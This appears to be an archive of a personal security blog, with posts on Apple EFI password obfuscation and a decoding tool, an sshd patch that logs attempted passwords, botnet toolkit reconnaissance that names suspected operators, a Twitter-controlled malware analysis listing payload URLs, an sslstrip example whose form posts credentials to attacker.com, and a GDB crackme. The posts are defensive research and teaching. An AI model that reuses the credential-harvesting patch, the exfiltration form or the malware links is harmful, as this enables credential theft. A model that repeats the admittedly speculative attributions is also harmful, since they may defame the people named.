efipw v0.2 Released

January 30, 2010 1 comment

I released v0.2 of my efipw tool originally discussed here.  It’s a complete rewrite in Python for a number of reasons (manageability, simplicity, and v0.1 stopped working on Snow Leopard at some point).

# lolCrypt: Apple's lolzy encryption function
def lolCrypt(input):
 output = ""
 for i in range(0, len(input)): output += (chr(ord(input[i]) ^ 170))
 return output

efipw is a tool a I wrote for two reasons: pentests & lab deployments.  Apple doesn’t provide administrators with a command line tool for changing EFI (a.k.a. Open Firmware) passwords – this is where efipw comes in.  These passwords may be employed to require physical access to boot off non-blessed drives, NetBoot shares, etc.  More information hereefipw allows root to set and reveal EFI passwords as well as set EFI modes.

Get efipw

usage: sudo ./efipw* -h

While doing some reverse engineering of Apple’s Open Firmware Password GUI utility, I found something I thought was interesting.  Depending on the length of the chosen password, several things may happen:

length = 0: not allowed (error given)
length = [1-48]: no error, password set correctly
length = [49-255]: fail silently (password not set and no error given)
length = 256: Open Firmware Password utility crashes
length > 256: a really unhelpful error is given, password not set

Isn’t 48 kind of an odd cutting off point?  I can understand 256 and the obvious off by one error going on here.  I assume whats being stored in nvram is ASCII-encoded.  If that’s true, then each password character consumes three ASCII characters (a % followed by two hex values).  So if the maximum password length that actually works is 48, that means nvram stores at most 48*3 = 144 ASCII values in that field in nvram, which is still kind of an odd number in my opinion.  If you have any ideas, comment below.


From pass_file to Script Kiddies

September 30, 2009 8 comments

This is a follow-up to my previous post.  For background on this post, please read that post.

The botnet master behind the attacks described in the last post could be*:

Image © Crystal Project

Image © Crystal Project

  • Romanian
  • trancetears@yahoo.com, cezar179@yahoo.com and/or hotzu@hotzu.us
  • Frequenting IRC (Undernet): Diemen.NL.EU.Undernet.org:6667
  • Controlling a small botnet with IRC nickname fSs in channel #19
  • Talking in these channels: #ls, #Work, #LinuxTeam, #Linux-Team, #Catalin, #112, #juno and #master
  • Using small variations of the word “tears” for his/her handles and the handles of his/her bots
  • (Probably) proxying his/her IRC connection through compromised hosts
  • Using pre-packaged tools

*I don’t have any evidence indicating that this specific individual is the one attacking me (in fact it’s kind of a long shot), but I do have evidence that this individual is using a toolkit very similar to the one being used against me and that this individual is operating a botnet.  You sacrifice privacy when you choose to run a botnet.

script kiddie magic

this is how you know they're legit. they have skulls and knives in their banners.

Gathering the info:

I’ve been running my modified sshd for a few days now, and as previously mentioned, I have a fairly lengthy log going already.

My original purpose for collecting full usernames & passwords tried against my server was to use those captured credentials to determine whether this dictionary attack was the work of a single group or the work of multiple groups.  I set out determine which using the following observations:

  • If there is a single group behind these attacks, it would make sense that they would synchronize this work amongst the attacking IPs, allowing the attack to evade simple IDS rules and avoid duplication of effort.
  • If there are multiple parties behind these attacks, it would make sense that the same username/password combinations would be tried by different hosts, pointing to a lack of synchronization.

Let’s take a look at first two IPs in these logs:

  • For about 8 minutes from 09/27/09 05:05:47 AM until 09/27/09 05:13:38 AM PST, tried a list of 86 username / password combinations.
  • For about 2 minutes from 09/27/09 07:06:10 AM until 09/27/09 07:08:03 AM PST, tried the exact same username / password combinations in the exact same order.
  • made a request every 7 seconds and made a request every 2 seconds, with very small clock drift.
  • Using two hosts was almost certainly a duplication of effort (that is unless they were trying to determine the rate at which my ssh daemon would process logins…in which case they were just sloppy).
  • Given the even spread of the attempts and the identical dictionaries, it’s not unreasonable to conclude that these two hosts are running the same attack software with a wait parameter changed.

So: one group (no synchronization of dictionaries between bots), or multiple groups (both using a common dictionary)?

In order to determine which, I needed more information on the toolkit in use here. 

Warning: the URL below should not be visited without taking precautions. I use NoScript inside of a VM when looking at sites I know to be malicious. Whenever possible, I have notified the providers hosting this malicious software and have reported whatever is applicable to Google Safe Browsing.

I am a fan of full disclosure; I will be listing sites that are hosting malicious toolkits.  Please do not make the mistake that blackhats find toolkits by reading whitehat blogs.  They already know about and use these tools or could easily find them with simple Google searches (as I did).  Exposure to real world attacks and toolkits is an important learning tool for anyone on the defensive.  Not talking about them doesn’t help anyone.


yeah - this is the entire script.

I took the odd-looking username/password combinations and ran some Google searches.  The following is what I found with my first search.  I’ve found much more than this, including more sophisticated attacks and full output (screenshots, keys pressed) from a keylogger, but going into that would be too much material for this post.

search term: mythtv vivafood
initial result: pass_file
host: f0rbidden.home.ro
notes: payload staging server; activity as recently as Sep. 13th
interesting files found on host:


  • Linux IRC bot
  • c&c information


  • darwin: PPC Mach-O (OS X) IRC bot
  • freebsd: FreeBSD IRC bot
  • sendmail: Unix IRC bot
  • pico (trojaned? are the attackers unfamiliar with vi?)
  • help files and configuration for a popular botnet control program
  • “random” IRC nicks, comments, away messages, insults, etc.


  • a bunch of things we’ve seen already
  • ssh-scan, ss: ssh brute-forcer & tool; based on libssh-0.1
  • pscan2: a port scanner
  • a, go.sh: ssh-scan supporting scripts
  • mfu.txt: a list of IPs serving SSH(?)
  • vuln.txt: a file to hold successfully brute-forced hosts
  • gen-pass.sh: combines a user list & password list into a single list
  • secure.sh: checks if user is root, moves mail to s8 if user is root

psyBNC-2.3.2-7.tar.gz & psyDarwin.tgz:

  • IRC bouncers (BNC). Allows the attackers to proxy their IRC connections through infected hosts.


  • a bunch of things we’ve seen already
  • the bot master’s email address (found inside sniff/install)

liviu.tar (partially corrupted):

  • a bunch of things we’ve seen already
  • a PHP shell
  • ps: trojan horse scanner

gosh.tgz is a Romanian(?) kit made a group identified as “TASE”.
scam, a file inside gosh.tgz, will email the following to hotzu@hotzu.us:

  • output from /sbin/ifpconfig (IP address of bot)
  • output from uptime (reliability of bot)
  • /etc/issue (bot’s Linux distribution)
  • /etc/passwd (valid users on bot)
  • output from id (current user)
  • output from df -h (disk space available on bot)
  • output from pwd (working directory)
  • current list of successfully brute-forced hosts

As previously stated, I’m not going to dissect the other malware staging servers I found as this would take too much time/space.  I will, however, point out a few highlights that resulted from some simple Google searching with the usernames / passwords tried against me (you’re going to have to find these yourself):

  • a complete PayPal phishing package (source code included)
  • output from a keylogger (screenshots, captured credentials)
  • possible source code for the ssh brute-force utility
  • a rather odd place for a pass_file
  • privilege escalation attempts (most likely successful, judging by the timestamps); very similar tools appear to be used post-escalation
  • Conficker uses some of the same passwords that have been used against me
  • valid* logins to SSH servers on compromised hosts
  • the same toolkit (or slight variations thereof) on about a dozen hosts (hosting providers have been notified)

*Obviously I didn’t verify this.

At this point I know a lot about the tools most likely being run against me.  But what about some more info on the attackers?  IRC information was included in some malware kits…

I decided to look up the OP and see what other channels (s)he frequents.  Almost all were Romanian chat channels, but #a1b2c3 looked interesting:

very lonely botnet

a very lonely c&c channel.

…as did #19:

looks like (s)he figured me out.  no more trolling c&c channels for me.

looks like (s)he figured me out. no more trolling c&c channels for me.

The #19 log is particularly interesting because you can clearly see fSs issue commands and expect a response.  After I failed to respond correctly, was he actually asking me something or is all of this part of the “random” request/response/nickname/away message lists mentioned previously?  Is everyone just reading from a script but me?

The command “shit” is an EnergyMech command.   He told all his bots to ban me (shitlist me) for the next 999 days even if one of them tries to unban me.  His reason for doing this is “boo”.

Hacking sshd for a pass_file

September 28, 2009 16 comments

First of all, I want to apologize for not getting around to writing part 2 of my previous post yet. I have more free time now and have started research for that post, but haven’t had a chance to write everything down yet. Hopefully I’ll get to it soon.

Update: some people have been confused at to my intention or my recommended use of the code I present here.  Let me make a few things clear:

  1. Don’t make these modifications on any production machine
  2. Don’t make these modifications on any machine receiving a lot of traffic
  3. This isn’t the best way to capture logins.

I called it a “hack” for a reason.  It’s something I threw together in a few minutes in order to gather the necessary data to conduct the analysis I did in my next post.  As dozzie pointed out, this can be done better by writing a PAM module.  My purpose here was not to write something robust, rather to write something quick in order to find a password file being used against me.  I apologize for any confusion.

This post concerns another topic I’ve been interested in for a while: honeypots.  Some friends and I run an SSH server and have that server registered with DynDNS so that we will always have an easy route to our box without remembering an IP address.  A botnet master may find it to be a profitable endeavor to scan predictable (ours is predictable) DynDNS entries for popular services offered over known ports and attempt to guess credentials for those services.

Keeping in mind that:

  • only a fraction of the subdomains pinged will actually be registered with DynDNS
  • only a fraction of the registered subdomains will be offering authentication services
  • only a fraction of the authentication services will allow predictable usernames*, and
  • only a fraction of those valid usernames will have predictable passwords

* root logins aren’t allowed by default on openssh and many other SSH implementations.

The (hopefully) small number of boxes that can be owned by brute forcing with this method apparently outweighs the cost to our adversary(ies).  As I later discovered, our IP address wasn’t enumerated via our DynDNS entry, but was brute forced.  Yeah.  They are trying IP addresses sequentially.

We noticed the SSH logs for our box were getting suspiciously long and it was pretty obvious why:

09/24/2009 12:49:19 PM: [FAIL] An error occured during key exchange auth done
09/24/2009 12:49:19 PM: [NOTE] Connection from disconnected
09/24/2009 12:49:20 PM: [FAIL] An error occured during key exchange auth done
09/24/2009 12:49:20 PM: [NOTE] Connection from disconnected
(repeat about 100 times)...

Our gateway Snort agreed that something was up:

[ ** ] [ 1:2001219:18 ] ET SCAN Potential SSH Scan [ ** ]
[ Classification: Attempted Information Leak ] [ Priority: 2 ]
09/17-10:49:59.339210 -> ***.***.***.***:22
(repeat about 100 times)...

The attacking IP addresses would change periodically.

Perhaps I could discover if this is a single attacker or if this is multiple attackers:

  • If there is a single group behind these attacks, it would make sense that they would synchronize this work amongst the attacking IPs, allowing the attack to evade simple IDS rules and avoid duplication of effort.
  • If there are multiple parties behind these attacks, it would make sense that the same username/password combinations would be tried by different hosts, pointing to a lack of synchronization.

Of course this is a lot of assuming and is hardly scientific, but promises to be a fun experiment regardless.

My first thought was: I’ll build a honeynet!  After reading more about honeynets, however, I came to realize that a honeypot would require a lot of network work and a tough cost/benefit analysis. The problem is that a smart attacker will first check his/her newly compromised environment: is he/she root? is he/she in an obvious VM or jail? what others hosts are on this subnet?

If the attacker isn’t satisfied that what they’ve compromised is a unwitting user’s box (and not a honeypot), they may never execute telling commands or push interesting payloads. On the other hand, if you give the attacker too much access, the attacker may use your box to attack others, host child pornography or conduct other malicious/illegal actions.  To everyone else it will look like your box (and by extension, you) are doing these illegal things. In such a scenario, you would be presumed guilty unless you can prove you’re running a honeypot and aren’t actually the person breaking the law.

Having a severe lack of lawyers at my side (I do know a few poly sci majors), I opted to go a different route, at least for now:

I’ll modify sshd itself, causing it to log the time and origin of all attempts to authenticate, along with the complete usernames & passwords attempted.

This is not a new idea, in fact, it’s kinda what honeyd is for, but I thought it would be fun to do the ssh modification myself and follow the password trail to see where it leads.  (Where these harvested passwords lead will be the topic of my next post.)

For obvious reasons, openssh and others never log incorrect passwords (a mistype of your password would get winblowz logged when you meant winblows…such logging would make it trivial to escalate privilege).

Setting up the Server:

I chose to use VirtualBox on a Windows XP machine to virtualize Ubuntu 9.04 Desktop, on which I will be serving SSH with openssh.  VirtualBox is like VMware Workstation except it’s free (as in speech).  The process of creating and configuring a VM is outside the scope of this post.  Don’t do this on a production machine or any machine that has multiple users, as privilege escalation may become trivial.

The rest of these instructions will be valid for Ubuntu 9.04 Desktop’s default directory structure, installed software and openssh-5.1p1.  They can easily be adapted to other environments & versions of openssh.  The instructions listed here result in multiple installations of openssh-server.  I did’t really care about overlap in this throwaway VM environment, so long as I could get my modified sshd running with Ubuntu’s daemon manager.  A purist might do this another way.

1) Install the required dependencies for building openssh:

sudo apt-get install zlib1g-dev libssl-dev

2) Install openssh-server itself (we’ll modify the default installation):

sudo apt-get install openssh-server

3) Check which version of openssh you’re running:

ssh -v

4) Get the source code of the version of openssh you’re currently running (by the using the same version we may avoid odd version dependency issues).

5) (Optional) Download the corresponding .asc file & verify your copy of openssh.

gpg --recv-key 86FF9C48
gpg --verify openssh-5.1p1.tar.gz.asc openssh-5.1p1.tar.gz

(The above is the signing key for Damien Miller, maintainer of portable openssh. Try to guess which is him.)

Of course, if you’re really concerned about the integrity of your openssh download, you’ll want to verify gpg fingerprints as well.

Hacking sshd:

1) Extract the source & verify you can successfully build it:

tar -xvf openssh-5.1p1.tar.gz
cd openssh-5.1p1
ls -al | grep sshd

If you see an sshd binary, you compiled it.

2) Stop the sshd daemon:

sudo /etc/init.d/ssh stop

3) Install the openssh build you just created. (This is to put the config files, etc. in locations that our modified sshd will expect, while breaking very little of the Ubuntu package installation.  Since we’re not going to modify the config files, we don’t need to worry about syncing changes between them.)

sudo make install

4) Back up your current sshd binary (just in case):

sudo cp /usr/sbin/sshd /usr/sbin/sshd_original

5) Make the following modification to openssh-5.1p1/auth-passwd.c:

--- auth-passwd_original.c    2007-10-25 21:25:12.000000000 -0700
+++ auth-passwd.c    2009-09-28 21:35:04.000000000 -0700
@@ -53,6 +53,7 @@
 #include "hostfile.h"
 #include "auth.h"
 #include "auth-options.h"
+#include "canohost.h"

 extern Buffer loginmsg;
 extern ServerOptions options;
@@ -82,6 +83,23 @@
 struct passwd * pw = authctxt->pw;
 int result, ok = authctxt->valid;
+    if (*password != '')
+    {
+        struct tm *timePtr;
+        time_t localTime;
+        char timeString[100];
+        localTime = time(NULL);
+        timePtr = localtime(&localTime);
+        strftime(timeString, 100, "%D %r", timePtr);
+        FILE *logFile;
+        logFile = fopen("/var/log/sshd_attempts","a+");
+        fprintf (logFile,"From: %s at: %s | user: %s, pass: %s\n", \
get_remote_ipaddr(), timeString, authctxt->user, password);
+        fclose (logFile);
+    }
 #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
 static int expire_checked = 0;

Or you can grab my modified auth-passwd.c file and throw it in your openssh source directory.

6) Rebuild sshd:


7) Stop SSH, replace sshd, Start SSH:

sudo /etc/init.d/ssh stop
sudo cp sshd /usr/sbin/sshd
sudo /etc/init.d/ssh start

You’re done.  You should now have a modified sshd binary running your openssh server and logging all connection attempts to /var/log/sshd_attempts.  I’ve been running my modified sshd for a few days now and have collected quite a few of these attempts. Click below to view the connection attempts against my server.

View my Log

Part 2: From pass_file to Script Kiddies

A Closer Look at the Twitter-Controlled Botnet (Part 1)

August 16, 2009 3 comments

Update 2: mirrored malware links taken down.  This is not something in my control.

Update: this entry is now also a guest post over at my colleague Brett Hardin’s Miscellaneous Security blog.  Thanks Brett!

Part 1 of this post will cover getting the malware, decoding it and scanning it. If I have time, Part 2 will be some disassembly & debugging (both static and dynamic).

The domains found hosting malware have been notified (Ubuntu, rifers.org). The malware has been taken down from these sites in order to prevent further propagation, but is offered below in a password protected archive for the reader to practice on.


I wasn’t aware of Jose Nazario’s post concerning this topic while I was conducting this research; I had only been exposed to the Wired Threat Level article prior to researching. So while I present some of the same information as Jose, this duplication of information only came to my attention afterwords.

If you’ve read Jose’s post, this post may still be worth the read for several reasons:

  • Jose and I differed on some of the tools & techniques used.
  • I attempt to offer a more detailed description of my methods/logic as a pseudo-tutorial.
  • I mirror all the necessary info so the readers can do this themselves.
  • There’s a quick discussion on some malware I found hosted at ubuntu.com (Jose probably saw it too but didn’t mention it) as well as a possible lead to a very sloppy botnet master.


Getting the Malware:
I was reading some feeds on Friday (Aug 14th)
and came across Wired’s article on outsourcing botnet C&C (command & control) to Twitter. What caught my eye wasn’t so much the article itself but the screenshot accompanying the article. Many times when major outlets report on botnet/worms/viruses/etc, crucial details are left out either intentionally (to protect the innocent) or accidentally. This was not the case with this article.

I immediately recognized the tweets in the above screenshot as being base64 encoded. Furthermore, all of the posts started with the same 18 characters, indicating to me that these are not encrypted nor obfuscated beyond the simple base64 encoding. Perhaps the botnet herders are using Robin Wood’s KreiosC2 for nefarious purposes? This is evidence for a fairly unsophisticated botnet herder.

I transcribed the messages captured in the screenshot and decoded them in order from most recent to least recent. Some contained what appeared to be multiple links (redirections valid as of Aug 14th, 2009):

http://bit.ly/17a3tS (malware)
|_ http://rifers.org/paste/content/paste/9509/body?key=upd4t3

http://bit.ly/LOfRO (malware)
|_ http://rifers.org/paste/content/paste/9508/body?key=upd4t3
http://bit.ly/Img (unrelated?)
|_ http://www.friedbeef.com/save-time-on-your-spreadsheets-asap-utilities/

http://bit.ly/17l4Fa (malware)
|_ http://rifers.org/paste/content/paste/9507/body?key=upd4t3
http://bit.ly/1 (unrelated?)
|_ http://www.blogger.com/profile/09172993341866649612

http://bit.ly/pmSuc (malware)
|_ http://paste.ubuntu.com/252515/plain/
http://bit.ly/17 (unrelated?)
|_ http://www.17tech.com/soft/index.shtml

http://bit.ly/GhuUu (malware)
|_ http://rifers.org/paste/content/paste/9506/body
http://bit.ly/Qj (unrelated?)
|_ http://nossacamiseta.net/product_info.php/products_id/564

http://bit.ly/QjAZY (dead link)
|_ http://paste.debian.net/44059/download/44059

http://bit.ly/7PaD9 (dead link)
|_ http://paste.debian.net/44056/download/44056

http://bit.ly/3RwAN (dead link)
|_ http://pastebin.com/pastebin.php?dl=m49f3b4c2
http://bit.ly/2pS (unrelated?)
|_ http://friendfeed.com/koltregaskes/6c53228d/twine_official-i-ll-e-mail-straight-away-any

There’s several interesting items here, in no particular order:

  1. It appears as though Debian is better at proactively moderating these type of posts than Ubuntu is (all the Debian links were dead when I tried them but the Ubuntu link worked fine). In Ubuntu’s defense, however, the offending links were killed within an hour of me notifying them.
  2. Payloads are being pushed out in rapid succession to both the C&C venues (Twitter, Jaiku, Tumblr, etc) and the payload hosting sites, indicating that this process has been automated. Automated payload deployment was determined by looking at some of the URLs linked in the Twitter screenshot:


    It can be deduced from these URLs that malware was uploaded to rifers.org in a short enough time period to warrant consecutive numbers. Furthermore, it is clear that whoever controlled the Twitter C&C made these uploads as well, judging by the upd4t3 handle present across services.

  3. All the Twitter posts that included two redirect URLs appear to have a nonsense link as the second URL. If anyone has a theory as to the purpose of these secondary links, please leave a comment or shoot me an email @ my[remove_this].hndl@gmail.com
  4. The botnet herder’s name is Rafael? I took another look at the malware hosted at Ubuntu and removed the ‘plain/‘:
  5. http://paste.ubuntu.com/252515/ (mirror)

Decoding the Malware:

Get the base64 samples (password: infected) (LINK REDACTED).
Turning these base64 strings into something meaningful was more involved than simply decoding them. Still, the first step was to decode them. For that I wrote a little Python script. (I’m new to Python and figured this would be a simple exercise. It was.)

# decodes base64 files
# (C) 2009 Paul Makowski. GPLv2.
# usage: python /b64_decode.py (encoded_file) (output_file)

import base64
import sys

encodedFile = sys.argv[1]
outputFile = sys.argv[2]

encodedFileHndl = open(encodedFile,”r”)
outputFileHndl = open(outputFile, “w”)



After decoding the malware I now had 5 files and named them after their URLs: 9506, 9507, 9508, 9509 & 252515.

I ran an md5 on all of them (I used OS X… it would be md5sum in Linux):

$ md5 *.base64
MD5 (252515.base64) = a5f84f74cf9aa832355d5cd558cbfca6
MD5 (9506.base64) = 7743eac81be2b803093a6277323f17cb
MD5 (9507.base64) = a5f84f74cf9aa832355d5cd558cbfca6
MD5 (9508.base64) = a5051a6e5365bdc4dd8267e62d3e2902
MD5 (9509.base64) = 1a81e69e65b75f8b9e72e94c6f86a52b

As you can see, payloads 9507 from rifers.org and 252515 from ubuntu.com are actually the same payload. (Yes I know about md5 collisions…but there’s very little point to messing with the hashes in this scenario.)

So now we’ve narrowed down the available payloads to 4: 9506 through 9509. I named these 9506.bin through 9509.bin (since at this point I didn’t know their true filetype).

Making Sense of the Malware:

The first thing I tried after I de-base64’ed the payloads was to take a look at them with a hex editor. Being on OS X, I used Hex Fiend (if I were on Windows, I’d use WinHex; Linux I’d use hexedit):

Hex Fiend

Hex Fiend

I took note of two items:

  1. This is not a Windows executable; this is a .zip file. I determined this by the magic number at the beginning of the file (seen above). PK means zip; MZ (or ZM) means Windows PE. file verified these findings:

    $ file 950*.bin
    9506.bin: Zip archive data, at least v2.0 to extract
    9507_252515.bin: Zip archive data, at least v2.0 to extract
    9508.bin: Zip archive data, at least v2.0 to extract
    9509.bin: Zip archive data, at least v2.0 to extract

  2. There’s a file called gbpm.dll inside the archive. At the bottom of the binary (not shown), is another string that reads gbpm.exe. This also turned out to be a file in the archive.

All of the other payloads appeared the same way under a hex editor. I renamed them all from *.bin to *.zip and unzipped them.

Now I had four folders, each containing a unique gdpm.dll and gdpm.exe. I renamed all the gdpm.exes to gdpm.livemalware so I wouldn’t accidentally execute them on my Windows box.

I checked the md5s to see if any were duplicates:

$ md5 950*/*.dll && md5 950*/*.livemalware
MD5 (9506/gbpm.dll) = 0dc041988367e4ca0faa1f119c748efb
MD5 (9507_252515/gbpm.dll) = 6cd9ee23dedf7c6a53668a7c4f830d78
MD5 (9508/gbpm.dll) = 1a1b3c05470ea788a86c4b9ed5c9b28f
MD5 (9509/gbpm.dll) = b15df1614d09ebb7b15d04ce914ee05f
MD5 (9506/gbpm.livemalware) = 4c537d461490ac998256c6deca11eeb4
MD5 (9507_252515/gbpm.livemalware) = 359ca7a025c3fe3cb7f60a3dd8ff4478
MD5 (9508/gbpm.livemalware) = b3a7f3145dc93e8721a4078f5e32fb44
MD5 (9509/gbpm.livemalware) = 08b05a33c6a989cc9c3f0a0918afa943

None were the same – I have 4 different pairs of malware samples :)

I uploaded the files to Virustotal to see if any were recognized. AV detection was poor to say the least (not that I’m surprised):

9506/gbpm.dll (4/41 antivirus detection) (new file)
9506/gbpm.exe (11/39 antivirus detection) (new file)
9507_252515/gbpm.dll (4/41 antivirus detection) (new file)
9507_252515/gbpm.exe (13/39 antivirus detection)
9508/gbpm.dll (5/41 antivirus detection)
9508/gbpm.exe (13/39 antivirus detection)
9509/gbpm.dll (6/41 antivirus detection)
9509/gbpm.exe (8/41 antivirus detection)

The files marked new file had not been seen by Virustotal previously. All .dlls had a fairly low detection rate. That combined with the fact that some had not been seen by Virustotal previously reminds me of PandaLabs recent press release on viruses only being useful for 24 hours.

So what kind of malware do we have anyways? Virustotal points toward Eldorado or Svelta for some files. Jose says in his post that these aren’t the botnet control agents, but are additional feature-adding payloads. Perhaps this means keyloggers, DDoS tools, etc?


In Part 2 of this post, I will delve into dissecting the malware and making sense of what it does. Hopefully manual analysis will yield more information than AV signatures…

HTTP POST -> HTTPS = Bad Idea®

July 20, 2009 6 comments

Update: fixed some grammar errors, added mention of firesheep.

This will be a quick post (pun intended) on why you should never allow anything sensitive to be sent from an unsecured page to an SSL-encrypted page. Many, many websites do this (Digg & Facebook quickly come to mind), and it’s a serious problem that has an easy solution.

When a user logs into a service, she has a reasonable expectation that her credentials will be secured in transit. In the context of web applications, this means SSL/TLS.

A typical Facebook login goes like this:
1. Adam requests http://www.facebook.com
2. Facebook sends a response containing:

<form method=”POST” action=”https://login.facebook.com/login.php?login_attempt=1″name=”menubar_login&#8221; id=”menubar_login”>

3. Adam enters his credentials and hits Login.

The problem: How does Adam know that the login form he intends to submit to facebook.com is actually destined for facebook.com? As stated in step 2, facebook.com should have returned HTML that instructs Adam’s browser to POST to an SSL-secured page at login.facebook.com.  What kind of assurance does Adam have that this is the code he received?

Consider the following scenario: Mallory uses something like ettercap (or firesheep) on her university’s dorm network: she poisons the subnet traffic (her entire dorm building), tricking her fellow students’ to send all Internet-bound traffic through her computer.

Mallory then uses Moxie Marlinspike’s sslstrip to automate an attack against Facebook. sslstrip will replace facebook.com’s response from step 2 with something like:

<form method=”POST” action=”http://www.attacker.com/”&gt;

Unless Adam looked at the source code of the alleged response from facebook.com, he would be unaware that his credentials were actually going to be send to Mallory’s malicious web host.

After harvesting the credentials, Mallory continues employing sslstrip to make (possiblly SSL-secured) page requests on Adam’s behalf, staying in the middle of the conversation and reading everything on the wire. Or she could just reset the connection, forcing Adam to legitimately log in. After all, she got what she set out for; why let Adam continue to consume her resources?

The solution:  Only offer login pages over SSL.  Pretty simple.

GDB Crackme

May 24, 2009 Comments off

I wrote a really simple crackme (a la crackmes.de) for a team presentation I gave on software piracy. I’m usually interested in the low-level details of any computer topic and piracy is no exception. My portion of the presentation is focused on ‘real-world’ demos of cracking applications to divert program execution in an effort to illustrate how a software pirate may attempt to bypass copyright controls. It was a good excuse to learn some more about GDB – something I’d been meaning to do for a while.

The code is written in C and tested on Windows XP and OS 10.5.7. There’s really no input validation, so don’t be suprised if it breaks with fringe cases.

Get the Code

Stop reading here if you wish to figure out for yourself how to use GDB to make it print “you entered the correct serial number!” without actually entering the correct serial number. If you want to know how I did it, keep reading.


1. Because this demo was just supposed to illustrate the ideas behind altering program flow, I built the crackme with debugging symbols (plus I’m not good enough with gdb to do it without the symbols…please comment if you know of any good tuts):

gcc -g crackme.c -o crackme

2. Then I ran the program and found its PID (two Terminal windows):


3. Next, I launched gdb and attached to the process:

gdb attach (PID of crackme)

4. If I wasn’t familiar with my code, I would probably run bt (backtrace) to see where I am frame-wise:


5. Then I listed the variables in the scope of ‘main’ (because the other frames look pretty internal and uninteresting):

info scope main

6. I explained if I were a cracker, I’d probably jump at the chance to modify a variable named ‘correctSerialEntered‘. Because crackme was built with symbols, GDB knows its a signed int and will set it correctly if instructed:

ptype main::correctSerialEntered

7. Finally, I set ‘correctSerialEntered‘ to 1:

set main::correctSerialEntered=1

8. …and detached from the process:


Back at my crackme Terminal window, I can enter almost anything I like into both the username prompt and the serial prompt and get the “you entered the correct serial number!” response.

Tags: , , ,

Fun with Apple EFI Firmware Passwords

March 30, 2009 4 comments

I read somewhere that Apple uses weak encryption on its firmware passwords for Intel/EFI based computers, so I decided to take a look at it while on a long flight. I looked around for more specific discussion on the topic and didn’t find anything, so I’ll share what I found along with a tool I wrote to automate the changing and decrypting of the password. I wouldn’t consider the method that they employed encryption per se, but rather an obfuscation of the password. In either case, what they did is certainly not cryptographically secure. It’s not immediately clear to me why they didn’t just MD5 the password or something… the nvram appears to have sufficient space to store such a hashed value.

Tested on:

  • OS X 10.5.6 on a 1st Gen (Core Duo) Macbook Pro
  • OS X 10.5.6 on a Core 2 Duo Macbook Pro

Useful for:

  • pen tests
  • lab deployments

I take no responsibility with what you do with this information. Messing with the nvram can be potentially very serious business. Don’t contact me if your mac stops booting.

The method I employed requires root access, either via the root account or single user mode. In a pen test scenario, it may be possible to escalate to root via an exploit (as opposed to password compromise). If the firmware password is the same or similar to another password in use, this may allow for further escalation of privilege / decryption of files / access to other machines / etc. In a lab deployment scenario, it may be desirable to set a firmware password on deployed machines. This process would be more easily automated with a CLI program like the one I’m providing. Of course, there is the OFPW tool, but that was designed for the older Open Firmware and I’ve had problems running it on under Leopard/EFI and am unclear as to whether or not it supports the new hardware. The OFPW binary seems to be unnecessarily elusive and documentation even more so.

Here’s now the obfuscation works:

  1. a <= 255 character ASCII string is accepted by Firmware Password Utility
  2. string is viewed as binary (ASCII decoded)
  3. every other bit is NOT’ted, beginning with a NOT (i.e. NOT, passthru, NOT, passthru, etc)
  4. resulting bitstream is stored as the password.

You can query the current password via Terminal (hex-ASCII encoding , %-delineated):

sudo nvram -p

… or you can get the contents of nvram in XML with the password in base64:

sudo nvram -x -p

Let’s run through an example. We’ll set our firmware password to:


… which is a fairly random ASCII string. Let’s interpret it as ASCII and translate to binary:

01101010 01101000 00110011 00110111 00110110 01100100 01110011 00111000

… now we apply the magic formula of NOT’ting every other bit, beginning with an initial NOT:

11000000 11000010 10011001 10011101 10011100 11001110 11011001 10010010

… then we hex-ify it:

c0 c2 99 9d 9c ce d9 92

… and finally add ‘%’ delimitors:


… now we run:

sudo nvram security-password=%c0%c2%99%9d%9c%ce%d9%92

… and our firmware password has been updated to jh376ds8.

Obviously the reverse could be employed to reveal a firmware password.

Note: there are three security levels included in Apple’s EFI:

  • none: Firmware password is ignored, all boot actions allowed (single user, boot off external, etc). This is a default setting.
  • command: Firmware password enforced if user requests to boot off another device by holding down ‘alt’ during boot. Single user, target disk mode, etc disabled.
  • full: All actions are disallowed, unless correct password is entered (including normal boot to blessed drive).

Only ASCII characters with decimal values between 32 and 127 (inclusive) are allowed and the password cannot be longer than 255 characters. If the password is empty, Apple’s GUI utility actually stores “none” as the password, so I would recommend not using “none” as a password.

Get the code

Takeaway: if you’re using an EFI password on your Apple computer, don’t use that password for anything else. It is easily recovered (granted with root access), but even this recovery could allow for easy future access or further compromise.